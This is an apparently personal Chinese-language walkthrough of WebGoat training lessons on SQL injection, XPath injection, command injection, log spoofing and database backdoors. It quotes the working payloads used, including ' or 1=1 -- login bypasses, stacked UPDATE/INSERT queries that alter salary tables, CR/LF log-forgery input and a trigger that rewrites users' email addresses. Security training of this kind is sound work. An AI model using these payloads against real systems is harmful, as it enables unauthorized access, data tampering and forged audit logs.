主要内容:
SQL注入,Log注入
Stage 1: String SQL Injection.. 3
Stage 2: Parameterized Query #1(略) 3
Stage 3: Numeric SQL Injection.. 3
Stage 4: Parameterized Query #2(略) 4
Modify Data with SQL Injection.. 5
Add Data with SQL Injection.. 5
Blind Numeric SQL Injection(略) 5
Blind String SQL Injection(略) 5
Command Injection
由ExecResults for '/bin/sh'可以得到执行目录,so取passwd的路径如下
修改页面元素的值,让他指向一个系统文件
然后点view~
。。。好像怎么输入都可以pass。。。
Numeric SQL Injection
根据执行SQL
SELECT * FROM weather_data WHERE station = 101
注入SQL
SELECT * FROM weather_data WHERE station = 101 or 1=1
修改属性值
提交查看结果如下:
Log Spoofing
日志欺骗,利用日志的格式,使用换行等字符,欺骗管理员
Use CR (%0d) and LF (%0a) for a new line.
比如输入
dd%0dLogin Succeeded for username: jonniexie
XPATH Injection
XPath is almost the same thing as SQL, the same hacking techniques apply too.
Smith' or 1=1 or 'a'='a
这个不能用--,所以还是得组一个‘闭合,但是Smith' or 'a'='a 这样为啥不可,难道'a'='a'不为true ?
LAB: SQL Injection
Stage 1: String SQL Injection
分析
很多网站密码验证都是 select * from User where username=‘’and password =‘’
在这里我们要在password = ‘’这里进行注入,理论上只要pwd = ' or 1=1 --。那么执行语句就被改成了:
select * from User where username=‘’and password =‘’ or 1 = 1 --‘
这样就可以登陆任何用户了
方法
我们把' or 1=1 --输入到密码框中,发现竟然不生效,是这样不行么?
抓个包看看
我们后面加的SQL注释符不见了,当然传过去后台SQL执行会出问题的
在哪里被截断了?
原来密码框被限制住了8个字符长度,我们修改Password的maxlength改成足够大,再注入' or 1=1 --
Stage 2: Parameterized Query #1(略)
Stage 3: Numeric SQL Injection
分析
这个案例我们需要我们登陆larry后能浏览Boss Neville的profile信息,登陆larry后,可以发现能浏览员工信息的就是ViewProfile按钮,我们抓包分析这个按钮提交的参数
可见这个CGI 接收了员工的ID返回相应的信息,于是乎我试着把ID改成其他值发现返回的仍然是Larry的信息,囧了~
方法
看了Hint后,恍然大悟,这个地方数据库应该是以员工ID作为索引,返回的是每次查询到的第一条数据,用社会工程学解释老板应该是工资最高的,所以为了把老板排到第一个SQL注入排序如下:
101 or 1=1 order by salary desc --
Stage 4: Parameterized Query #2(略)
String SQL Injection
输入' or 1=1 –
Modify Data with SQL Injection
输入
jsmith';update salaries set salary=120000 where userid='jsmith' –
Add Data with SQL Injection
输入
jsmith';insert into salaries values('jonniexie',65535); --
Database Backdoors
输入
1; update employee set salary=2
后面要求注入一个触发器,触发器内容:
UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid
就是把所有新注册的用户的email地址改成john@hackme.com
但是mysql不支持
Blind Numeric SQL Injection(略)
略
Blind String SQL Injection(略)
略